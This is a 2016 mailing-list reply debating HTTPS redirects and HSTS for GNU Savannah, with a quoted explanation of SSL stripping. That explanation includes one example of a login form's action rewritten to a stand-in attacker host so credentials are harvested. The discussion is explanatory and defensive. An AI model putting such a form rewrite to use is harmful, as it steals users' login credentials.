savannah-hackers-public
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS


From: Michal Grochmal
Subject: Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS
Date: Mon, 10 Oct 2016 11:12:00 +0000
User-agent: Mutt/1.5.21 (2010-09-15)

I'm just a random person that follows savannah-hackers-gnu but I'd like
to add the nature of the SSLstrip attack to this discussion.  Since I
did perform the attack myself a handful of times (no, I did not do
anything bad, I'm a security researcher).

There is one important point about SSLstrip that is missing, see below.

>>> It says to support HTTPS properly and *securely*. The current
>>> variant is not secure, it is vulnerable to SSL Stripping attacks.
>>> That's why HSTS was invented in the first place.  
>>
>> I don't know what you are talking about.
>
> Ok, I'll try to explain in more detail:
> * A Savannah user surfs to the savannah webpage, e.g. through a link,
>   the page is delivered over HTTP.
> * He clicks on Login. Still HTTP.
> * The login page contains a form with this:
> action="https://savannah.gnu.org/account/login.php";
> * However as that login page itself was not protected a network-level
>   attacker can just change that to something like:
> action="http://evilhackersdomain.com/getsavannahcredentials.cgi";
> * From there the attacker will grab the login data and just forward the
>   user back to the real savannah login.

That is completely true, but a careful user will *not* attempt login
through a page served over HTTP.  HTTPS will give the user privacy and
integrity but it is the user's choice to have them or not.

As far as I am aware, that is the philosophy of the FSF: always give the
user the choice, do not limit the user in anyway.  Even more if we are
limiting the user because of security reasons.

Although I would in several occasions perform the HTTP->HTTPS redirect
because it is a consensus of the information security community and
because I want to protect unknowing users, I'm completely against this
being implemented by the FSF.  This is because it goes against the FSF
philosophy of empowering the user.

> The attacker has the login credentials and the user noted nothing. This
> scenario and similar ones is called an SSL Stripping attack, I think
> the term was coined by Moxie Marlinspike in a talk in 2009:
> https://moxie.org/software/sslstrip/

SSLstrip is an attack on the user not on the protocol.  The user tries
to load a page through HTTPS but the gateway (attacker's machine)
performs the HTTPS connection and serves the page to the user in plain
HTTP.

The user's browser do not show the page as HTTPS in the address bar.  If
the user notices the fact that the page was served as HTTP the attack
fails.

> > I don't understand those words.  I can only say that the conclusion,
> > "Security requres discontinuing support for HTTP," is an extraordinary
> > claim and requires extraordinary proof.  I am extremely skeptical.
> 
> You may find that an extraordinary claim, but it's widely consensus
> among people caring about web security. There's a reason many want an
> HTTPS-only web.

Final thoughts:

I'm definitely against an HTTP->HTTPS redirect for the reasons above.
But I do not see such issues in adding the HSTS headers to HTTPS
communications from savannah.  A user can always delete their browser
cache (and the HSTS configuration within), or even disable HSTS in the
browser (a browser that respects a user's choices should allow the user
to disable HSTS).

-- 
Mike Grochmal
key ID 0xC840C4F6

Attachment: pgpiXCjSDze2P.pgp
Description: PGP signature


reply via email to

[Prev in Thread] Current Thread [Next in Thread]